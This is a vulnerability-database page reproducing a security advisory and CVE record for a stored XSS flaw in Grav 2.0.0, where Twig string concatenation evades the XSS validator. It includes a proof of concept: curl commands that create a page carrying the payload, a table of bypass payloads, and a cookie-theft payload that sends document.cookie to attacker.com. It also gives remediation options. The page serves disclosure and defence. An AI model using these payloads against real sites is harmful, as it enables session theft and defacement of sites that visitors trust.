Vulnerability-Lookup

GHSA-2C4F-86XC-CR74

Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13

Summary

Grav: XSS Blueprint Validation Bypass via Twig String Concatenation

Details

Summary

The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.

Details

The two-stage attack exploits the separation between validation and rendering:

Stage 1 - what the XSS validator sees (raw page content):

{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>

The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.

Stage 2 - what Twig produces (after rendering):

<img src=1 onerror=alert(document.domain)>

The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.

Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:

allowed_tags:
  - set          # ← allows variable assignment
  ...

The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.

The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:

<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
   Twig output: <script>alert(1)</script> #}

Also bypasses the invalid_protocols check:

<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}

Proof of Concept

Prerequisites

twig_content.process_enabled: true set by admin
api.pages.write permission (page creation)

Step 1 - Obtain JWT token (any user with page write access)

JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
  -X POST -H "Content-Type: application/json" \
  -d '{"username":"user","password":"pass"}' \
  | python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")

Step 2 - Create page with Twig XSS payload

curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{
    "title": "xss-page",
    "folder": "xss-page",
    "route": "/xss-page",
    "template": "default",
    "header": {"title": "xss", "process": {"markdown": false}},
    "content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
  }'

Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.

Step 3 - Visit page → XSS fires

curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>

Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.

From a low-level user

Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.

But with payloads such as click proves that the we can bypass the blueprint restrictions and upload malicious script to it

Alternative payloads (all bypass the validator)

Payload	Twig Source	After Twig	Triggers
Event handler	`<img src=1 {{"on"~"error"}}=alert(1)>`	`<img src=1 onerror=alert(1)>`	Image load fails
Script tag	`<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>`	`<script>alert(1)</script>`	Immediately
Protocol bypass	`<a href="{{"java"~"script"}}:alert(1)">click</a>`	`<a href="javascript:alert(1)">click</a>`	On click
Iframe onload	`<i{{"f"~"r"~"a"~"m"~"e"}} {{"on"~"load"}}=alert(1)>`	`<iframe onload=alert(1)>`	Page load
Details toggle	`<details open {{"on"~"toggle"}}=alert(1)>`	`<details open ontoggle=alert(1)>`	Page load
Cookie theft	`<img src=1 {{"on"~"error"}}=fetch("https://attacker.com/?c="+document.cookie)>`	`<img src=1 onerror=fetch(...)>`	Image load fails

Admin preview caveat

The Admin2 SPA renders page previews inside a sandboxed iframe:

<iframe sandbox="allow-same-origin allow-scripts allow-forms"></iframe>

allow-modals is not set - alert() is silenced in the admin preview. Use fetch(), document.write(), or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - alert() fires directly.

Impact

Once the Twig content master gate is enabled by an administrator, any user with page write access can inject stored XSS into page content that executes for all visitors. The attack:

Bypasses all four XSS validator regexes (on_events, invalid_protocols, dangerous_tags, html_inline_styles)
Bypasses the dangerous tag blocklist (reconstructs <script>, <iframe>, <svg>, etc.)
Bypasses the invalid protocol blocklist (reconstructs javascript:, data:)
Persists across page edits (stored in page content file)
Executes for every visitor to the page

An attacker can steal session cookies, perform actions as the victim, or deface the site.

Remediation

Option A - Re-run the XSS validator on Twig output

After Twig::processPage() renders the content, run the XSS validator on the output before it is cached and served:

// In Twig::processPage(), after rendering
$rendered = $twig->render($name, $context);
$result = Security::detectXss($rendered);
if ($result !== null) {
    // Log and sanitize or block
    Security::logTwigSandboxViolation('xss_output', $result, '', $route);
    return ''; // or return escaped version
}

Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)

Removing string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).

Option C - Block dynamic attribute names in Twig output

Parse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.

Option D - Escape HTML in rendered Twig output

Wrap the rendered output with htmlspecialchars() unless explicitly marked safe. This is the Twig default behavior — the |raw filter in theme templates bypasses it. Consider removing |raw from default themes and requiring explicit |raw only for trusted content.

Severity

5.1 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:17Z",
    "nvd_published_at": "2026-07-15T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig\u0027s string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `\u003cimg src=1 onerror=alert(1)\u003e` which is rendered via `{{ content|raw }}` and executes in the victim\u0027s browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `\u003c[^\u003e]*?[\\s\\x00-\\x20\\\"\\\u0027\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\\u0027\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n\u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n  - set          # \u2190 allows variable assignment\n  ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag \u2014 it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e\n{# XSS validator sees: \u003cs{{...}}\u003e - no \u003cscript\u003e tag detected\n   Twig output: \u003cscript\u003ealert(1)\u003c/script\u003e #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"user\",\"password\":\"pass\"}\u0027 \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027data\u0027][\u0027access_token\u0027])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n  -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"title\": \"xss-page\",\n    \"folder\": \"xss-page\",\n    \"route\": \"/xss-page\",\n    \"template\": \"default\",\n    \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n    \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\"\n  }\u0027\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page \u2192 XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP \u0027\u003cimg[^\u003e]*\u003e\u0027\n# Output: \u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n\u003cimg width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" /\u003e\n\u003cimg width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" /\u003e\n\n#### From a low-level user\nAlso From a low-level user normal script such as `\u003cimg src=1 onerror=alert(1)\u003e` this is being blocked by the restriction.\n\u003cimg width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" /\u003e\n\nBut with payloads such as \u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e proves that the we can bypass the blueprint restrictions and upload malicious script to it\n\u003cimg width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" /\u003e\n\u003cimg width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" /\u003e\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `\u003cimg src=1 {{\"on\"~\"error\"}}=alert(1)\u003e` | `\u003cimg src=1 onerror=alert(1)\u003e` | Image load fails |\n| Script tag | `\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e` | `\u003cscript\u003ealert(1)\u003c/script\u003e` | Immediately |\n| Protocol bypass | `\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e` | `\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e` | On click |\n| Iframe onload | `\u003ci{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)\u003e` | `\u003ciframe onload=alert(1)\u003e` | Page load |\n| Details toggle | `\u003cdetails open {{\"on\"~\"toggle\"}}=alert(1)\u003e` | `\u003cdetails open ontoggle=alert(1)\u003e` | Page load |\n| Cookie theft | `\u003cimg src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)\u003e` | `\u003cimg src=1 onerror=fetch(...)\u003e` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n\u003ciframe sandbox=\"allow-same-origin allow-scripts allow-forms\"\u003e\u003c/iframe\u003e\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003csvg\u003e`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig-\u003erender($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n    // Log and sanitize or block\n    Security::logTwigSandboxViolation(\u0027xss_output\u0027, $result, \u0027\u0027, $route);\n    return \u0027\u0027; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior \u2014 the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.",
  "id": "GHSA-2c4f-86xc-cr74",
  "modified": "2026-09-16T22:13:17Z",
  "published": "2026-09-16T22:13:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61453"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61710"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: XSS Blueprint Validation Bypass via Twig String Concatenation"
}

CVE-2026-61453 (GCVE-0-2026-61453)

Vulnerability from cvelistv5 – Published: 2026-07-15 11:25 – Updated: 2026-07-15 17:59

Title

Grav before 2.0.1 XSS via Twig String Concatenation

Summary

Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.

Severity

5.1 (Medium)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 17:58 UTC

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Assigner

VulnCheck mitre root

References

2 references

URL	Tags
https://github.com/getgrav/grav/security/advisori…	vendor-advisory
https://www.vulncheck.com/advisories/grav-before-…	third-party-advisory

Impacted products

1 product

Vendor	Product	Version
getgrav	grav	Affected: 0 , < 2.0.1 (semver) Unaffected: 2.0.1 (semver) cpe:2.3:a:getgrav:grav::::::::

Date Public

2026-06-24 00:00

Credits

alienkeric gemstone-source

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-61453",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T17:58:40.076112Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T17:59:04.551Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.1",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "2.0.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "alienkeric"
        },
        {
          "lang": "en",
          "type": "reporter",
          "value": "gemstone-source"
        }
      ],
      "datePublic": "2026-06-24T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig\u0027s string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = \"on\" ~ \"error\" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as \u003cimg src=1 onerror=alert(1)\u003e, executing arbitrary JavaScript in visitors\u0027 browsers."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "Automatable": "NOT_DEFINED",
            "Recovery": "NOT_DEFINED",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.1,
            "baseSeverity": "MEDIUM",
            "exploitMaturity": "NOT_DEFINED",
            "privilegesRequired": "NONE",
            "providerUrgency": "NOT_DEFINED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "LOW",
            "subIntegrityImpact": "LOW",
            "userInteraction": "ACTIVE",
            "valueDensity": "NOT_DEFINED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE",
            "vulnerabilityResponseEffort": "NOT_DEFINED"
          },
          "format": "CVSS"
        },
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "format": "CVSS"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-79",
              "description": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T11:47:02.309Z",
        "orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
        "shortName": "VulnCheck"
      },
      "references": [
        {
          "name": "GitHub Security Advisory (GHSA-2c4f-86xc-cr74)",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
        },
        {
          "name": "VulnCheck Advisory: Grav before 2.0.1 XSS via Twig String Concatenation",
          "tags": [
            "third-party-advisory"
          ],
          "url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
        }
      ],
      "title": "Grav before 2.0.1 XSS via Twig String Concatenation",
      "x_generator": {
        "engine": "vulncheck-endgame"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
    "assignerShortName": "VulnCheck",
    "cveId": "CVE-2026-61453",
    "datePublished": "2026-07-15T11:25:45.830Z",
    "dateReserved": "2026-07-09T14:06:14.017Z",
    "dateUpdated": "2026-07-15T17:59:04.551Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-2C4F-86XC-CR74

Summary

Details

Proof of Concept

Prerequisites

Step 1 - Obtain JWT token (any user with page write access)

Step 2 - Create page with Twig XSS payload

Step 3 - Visit page → XSS fires

From a low-level user

Alternative payloads (all bypass the validator)

Admin preview caveat

Impact

Remediation

Option A - Re-run the XSS validator on Twig output

Option B - Disallow ~ and {% set %} in sandboxed content (too restrictive)

Option C - Block dynamic attribute names in Twig output

Option D - Escape HTML in rendered Twig output

CVE-2026-61453 (GCVE-0-2026-61453)

Tags

Sightings

Nomenclature

Related by attack behaviour

Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)